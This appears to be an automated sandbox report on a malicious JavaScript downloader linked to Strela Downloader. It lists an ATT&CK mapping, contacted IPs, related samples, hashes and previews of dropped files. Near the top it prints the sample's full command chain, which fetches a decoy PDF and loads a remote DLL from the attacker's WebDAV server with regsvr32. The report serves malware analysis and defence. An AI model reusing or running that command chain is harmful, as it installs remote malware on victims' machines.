Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17272264716678.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	31 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	22 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
571464521086425926.js	0%	ReversingLabs

Source	Detection	Scanner	Label
http://193.143.1.205:8888/6	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/F	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/Z	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod.C:	edb.log.8.dr	false		high
http://193.143.1.205:8888/Z	net.exe, 00000006.00000002.1829906766.000001F62B93A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1829390135.000001F62B93A000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://crl.ver)	svchost.exe, 00000008.00000002.3063883676.00000264CAA00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D.7.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	edb.log.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2	edb.log.8.dr	false		high
http://193.143.1.205:8888/6	net.exe, 00000006.00000002.1829906766.000001F62B93A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1829390135.000001F62B93A000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/F	net.exe, 00000006.00000002.1829906766.000001F62B93A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1829390135.000001F62B93A000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96	svchost.exe, 00000008.00000003.1830077170.00000264CACC2000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000006.00000002.1829808332.000001F62B910000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	svchost.exe, 00000008.00000003.1830077170.00000264CACC2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587548
Start date and time:	2025-01-10 14:44:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 4s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	571464521086425926.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 18.213.11.84, 34.237.241.83, 54.224.241.105, 50.16.47.176, 2.16.168.107, 2.16.168.105, 172.64.41.3, 162.159.61.3, 184.28.90.27, 2.22.50.131, 2.22.50.144, 23.209.209.135, 4.175.87.197, 96.17.64.171, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, dns.msftncsi.com, ocsp.digicert.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, e16604.g.akamaiedge.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, fs.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com.delivery.microsoft.com, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, armmf.adobe.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
08:45:10	API Interceptor	29x Sleep call for process: powershell.exe modified
08:45:15	API Interceptor	1x Sleep call for process: net.exe modified
08:45:15	API Interceptor	2x Sleep call for process: svchost.exe modified
08:45:28	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	18607323151113325657.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2503475573085815370.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	17772451271118687.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1353125634235611874.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	289215992948720779.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1947415746274847548.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	10848104561916132198.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	145332287313130856.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	67073968285385405.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3144522639186114061.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	18607323151113325657.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2503475573085815370.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	27311161302332319656.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	17772451271118687.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1353125634235611874.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	289215992948720779.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1947415746274847548.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	10848104561916132198.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	145332287313130856.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	67073968285385405.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.3073625641720075
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvr0:KooCEYhgYEL0In
MD5:	D0D2F21032A18E1E53B12ECF0F482683
SHA1:	73AFBA92672AD2B6E45CD25334F046F91A4EB60F
SHA-256:	E8175050917B3C2265523BEE88CE9B3707AE3723D0473697FC46B052C3E9EB02
SHA-512:	B87C8B11123FF3CB79E28B2720CE9A79617780C7A139E48C617EF934B0C18778333A3F55F79682F24987C4998C6EF9EAEC01A84DE09B8547C24601A15C4DD482
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x68bec921, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.4221433333645288
Encrypted:	false
SSDEEP:	1536:cH0SB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1w:cH0aza/vMUM2Uvz7DO
MD5:	A61853C27F7637D499BBFBB5930B02A2
SHA1:	D690211D78BFFEA678577213E4D0E887073B285E
SHA-256:	48B10AAC1B4F88A3511B6B2CB82A27F8F22930FD1EB49FC710685B35306290BB
SHA-512:	B673F8B612CE082E1848E49B48C66A1ABE801CAB34E4EDBF22028C16F46AACB6BDCA71BD8025A03CBFEB756F402519F1E6CDA259AB84F130226D0EF63CB0ED96
Malicious:	false
Preview:	h..!... .......A.......X\...;...{......................0.!..........{A..-...}9.h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{..................................z....-...}W.................Y.`..-...}9..........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.0772741883711845
Encrypted:	false
SSDEEP:	3:KS6YedHcrWjn13a/lV8xr1allcVO/lnlZMxZNQl:H6zd8rW53ql8rQOewk
MD5:	746876BB693CC09033D91CF5ABDC5739
SHA1:	57FEA6B2D63C77C75C97E941DB9C10A4677314C4
SHA-256:	C022A327B60D0240A6A21BD6E74BDA8017363BFC46A200C38FA94061493842A5
SHA-512:	21F598E51B9C65B85D6A798FE71E996B275E5BA34C364B25D38171D4E6893B7DE39078C26F55D178D7F0DDA12CCEC53A140B84260B96EDEAD4612A7CD9D10949
Malicious:	false
Preview:	j.......................................;...{...-...}9......{A..............{A......{A..........{A]................Y.`..-...}9.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.187955186051433
Encrypted:	false
SSDEEP:	6:iO4odgq2Pwkn2nKuAl9OmbnIFUtSodbvZZmwsodZkwOwkn2nKuAl9OmbjLJ:7vKvYfHAahFUtRRvZ/7/5JfHAaSJ
MD5:	2D2CA0BD182F85241470DF64D16E597A
SHA1:	2C267EA480CCBB802FEB4C66BCEDCABA598AF06C
SHA-256:	FECA9618E1B2EC6414F5EF8B6E5200C128B17FF5F87E13757F97EFFDD47FAB07
SHA-512:	2470A21CC4E4908929837FCE7DDC9140BC6AE0C9D3CA0FA6781749F24BDDB43C70BBD05853531AB280CF086CFF4BB2D1DB48B5CC4891DBD7EBD9CD4870DD62C1
Malicious:	false
Preview:	2025/01/10-08:45:15.458 820 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-08:45:15.461 820 Recovering log #3.2025/01/10-08:45:15.463 820 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.187955186051433
Encrypted:	false
SSDEEP:	6:iO4odgq2Pwkn2nKuAl9OmbnIFUtSodbvZZmwsodZkwOwkn2nKuAl9OmbjLJ:7vKvYfHAahFUtRRvZ/7/5JfHAaSJ
MD5:	2D2CA0BD182F85241470DF64D16E597A
SHA1:	2C267EA480CCBB802FEB4C66BCEDCABA598AF06C
SHA-256:	FECA9618E1B2EC6414F5EF8B6E5200C128B17FF5F87E13757F97EFFDD47FAB07
SHA-512:	2470A21CC4E4908929837FCE7DDC9140BC6AE0C9D3CA0FA6781749F24BDDB43C70BBD05853531AB280CF086CFF4BB2D1DB48B5CC4891DBD7EBD9CD4870DD62C1
Malicious:	false
Preview:	2025/01/10-08:45:15.458 820 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-08:45:15.461 820 Recovering log #3.2025/01/10-08:45:15.463 820 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.152615335262432
Encrypted:	false
SSDEEP:	6:iO4odPbM+q2Pwkn2nKuAl9Ombzo2jMGIFUtSodh6ZmwsodhlMVkwOwkn2nKuAl97:7vpbM+vYfHAa8uFUtRj6/7jlMV5JfHAv
MD5:	AE84D2A35D68B5CD844ADE9FCCACA436
SHA1:	B2F1501ADF9F035609BDF122E5F607EF804748C1
SHA-256:	45A68369565DC072E021B45EEA98009BB5CBB1374FD03D91F8ED97BE1DFC2696
SHA-512:	01752E62E27B095B1DC9552F1D656BAFF974F925840AB1DE693F1767DFF94F41D2DBFC5533AB6AEA0FA123097FA592478CFEB39FA05D0C8F8074DE9FC8B19CC5
Malicious:	false
Preview:	2025/01/10-08:45:15.579 1c8c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-08:45:15.580 1c8c Recovering log #3.2025/01/10-08:45:15.580 1c8c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.152615335262432
Encrypted:	false
SSDEEP:	6:iO4odPbM+q2Pwkn2nKuAl9Ombzo2jMGIFUtSodh6ZmwsodhlMVkwOwkn2nKuAl97:7vpbM+vYfHAa8uFUtRj6/7jlMV5JfHAv
MD5:	AE84D2A35D68B5CD844ADE9FCCACA436
SHA1:	B2F1501ADF9F035609BDF122E5F607EF804748C1
SHA-256:	45A68369565DC072E021B45EEA98009BB5CBB1374FD03D91F8ED97BE1DFC2696
SHA-512:	01752E62E27B095B1DC9552F1D656BAFF974F925840AB1DE693F1767DFF94F41D2DBFC5533AB6AEA0FA123097FA592478CFEB39FA05D0C8F8074DE9FC8B19CC5
Malicious:	false
Preview:	2025/01/10-08:45:15.579 1c8c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-08:45:15.580 1c8c Recovering log #3.2025/01/10-08:45:15.580 1c8c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.97961495064354
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq9sBdOg2H1caq3QYiubInP7E4T3y:Y2sRds/dMH03QYhbG7nby
MD5:	E668C4527543E32B7555382744C6651C
SHA1:	BE65E5A646D88039D0341B2C0AB4839C9F6CE989
SHA-256:	6CEFDB915C2E84A8F5328756CD454A0B2C09699F19052220C192CD8918E0EFD8
SHA-512:	DF0551CD52843AD81AA3C74D0DCC8DD9D4CFB5B526460BC67C4C5CE9A952BB2997F7045415E605EA6E5A767039A1F89397B0E9E1944A970D26841E44CFA844A3
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381076727995960","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":139680},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\e55d7109-ee2c-4a41-9d71-65da66b18b43.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.97961495064354
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq9sBdOg2H1caq3QYiubInP7E4T3y:Y2sRds/dMH03QYhbG7nby
MD5:	E668C4527543E32B7555382744C6651C
SHA1:	BE65E5A646D88039D0341B2C0AB4839C9F6CE989
SHA-256:	6CEFDB915C2E84A8F5328756CD454A0B2C09699F19052220C192CD8918E0EFD8
SHA-512:	DF0551CD52843AD81AA3C74D0DCC8DD9D4CFB5B526460BC67C4C5CE9A952BB2997F7045415E605EA6E5A767039A1F89397B0E9E1944A970D26841E44CFA844A3
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381076727995960","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":139680},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4320
Entropy (8bit):	5.253247321781976
Encrypted:	false
SSDEEP:	96:etJCV4FAsszrNamjTN/2rjYMta02fDtehgO7BtTgo79KlpzJo:etJCV4FiN/jTN/2r8Mta02fEhgO73go5
MD5:	493A0A914EFDE6D8DDDE51ECDF106552
SHA1:	9EF77864A192C02B2A96CAAC18C3A7064DFFBA9A
SHA-256:	69FB4CBA006AFED018A5647F5DE15A25FC26DFEAF939534EF29325A8237B3A62
SHA-512:	12525C05548B03F970E0A040B443657E457D67022C1EDA346568811974BF60741243BF44F0E69731F8B74A09B749A815940A7969534289F625014CB23439138F
Malicious:	false
Preview:	*...#................version.1..namespace-['O.o................next-map-id.1.Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/.0>...r................next-map-id.2.Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/.1O..r................next-map-id.3.Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/.2.\.o................next-map-id.4.Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/.3....^...............Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/..\|.^...............Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/n..Fa...............Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/DQ..a...............Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/i.`do................next-map-id.5.Pnamespace-de635bf2_6773_4d83_ad16_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.176761302009951
Encrypted:	false
SSDEEP:	6:iO4odmuKpM+q2Pwkn2nKuAl9OmbzNMxIFUtSodo6ZmwsodolMVkwOwkn2nKuAl9c:7vFsM+vYfHAa8jFUtR66/76lMV5JfHAo
MD5:	30B9683DB8EB71ED0CA8BFC3D50DD2E6
SHA1:	2A5244C3EA94D96844BC38E67D85D8870CA3DF22
SHA-256:	6AD77E5A037C8D44206EDFB35AEC8FD720597F6CD43D37D278A770FB0288B0AF
SHA-512:	6B96A27E31B511C1FCA7F3A96739BCBAE432915B668AABBCDA3013219A279A7EC6A6810132A25D33D145924CE3D94CCBBAA3090F1DA30DD5D34FF7BE0B8D6BAD
Malicious:	false
Preview:	2025/01/10-08:45:15.666 1c8c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-08:45:15.668 1c8c Recovering log #3.2025/01/10-08:45:15.668 1c8c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.176761302009951
Encrypted:	false
SSDEEP:	6:iO4odmuKpM+q2Pwkn2nKuAl9OmbzNMxIFUtSodo6ZmwsodolMVkwOwkn2nKuAl9c:7vFsM+vYfHAa8jFUtR66/76lMV5JfHAo
MD5:	30B9683DB8EB71ED0CA8BFC3D50DD2E6
SHA1:	2A5244C3EA94D96844BC38E67D85D8870CA3DF22
SHA-256:	6AD77E5A037C8D44206EDFB35AEC8FD720597F6CD43D37D278A770FB0288B0AF
SHA-512:	6B96A27E31B511C1FCA7F3A96739BCBAE432915B668AABBCDA3013219A279A7EC6A6810132A25D33D145924CE3D94CCBBAA3090F1DA30DD5D34FF7BE0B8D6BAD
Malicious:	false
Preview:	2025/01/10-08:45:15.666 1c8c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-08:45:15.668 1c8c Recovering log #3.2025/01/10-08:45:15.668 1c8c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444937432527247
Encrypted:	false
SSDEEP:	384:yezci5t1bFZ6iBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:r1bFZVs3OazzU89UTTgUL
MD5:	582F95156C17AB5D86334712EF29C8A7
SHA1:	BF1611C25334DEC47C1CEDDE1E01EF5C58722925
SHA-256:	D9B493899833112ADD04E5B30F35C6AD5B1C949A84FF4668BFFF546EECE2AC1C
SHA-512:	B34E5A5DFFC51927A44EE3795DBBDC4CDD40DBE7C89D7142329ED7CC4D28D84ABFC625376DD93CF0143445DE6315DBF0E8C9DE346F2A7E061C64E151AEC0D824
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7755577772231708
Encrypted:	false
SSDEEP:	48:7MRp/E2ioyV+rioy9oWoy1Cwoy1/4KOioy1noy1AYoy1Wioy1hioybioyVUoy1np:7upju+rF8MXKQKGTb9IVXEBodRBkf
MD5:	924A9242748FA1D8D3AB492088C8C5D1
SHA1:	463A2E959FCB50602E9844A33C91ADC5BFF38644
SHA-256:	A4288FE10DF150FCAB9672E5B3094ADE46551946A7F1AF3813E8681996E65610
SHA-512:	0184F6F0AA221FCC33D07F5FACA77C9879F5A8EE013A05185EE9905500F0C279D85C2D9C78CF4DD095601A4B1FDAD6FB0A5EF8D30456CDA69A2B7F8B14C3BBDD
Malicious:	false
Preview:	.... .c........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
